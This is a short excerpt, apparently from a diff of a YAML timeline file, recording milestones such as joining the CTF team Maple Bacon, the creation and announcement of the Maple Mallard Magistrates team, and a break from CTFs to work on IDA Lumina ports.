lazy so just inline html lol; thought about markdown but its too inflexible and also not necessary for a few sentences anyway content: 'Joined Maple Bacon' #for aligning in timeline date: 2022-02-01 mmm-created: style: "timeline-join" - content: 'MMM created' + content: 'MMM created' date: 2022-06-01 mmm-announced: style: "timeline-announce" - content: 'MMM is publicly announced as
Maple Mallard Magistrates
' + content: 'MMM is publicly announced as
Maple Mallard Magistrates
' date: 2022-08-07 lumina-hiatus: style: "timeline-hiatus" content: 'Focusing on IDA Lumina ports, small hiatus on CTFs' date: 2022-11-20 \ No newline at end of file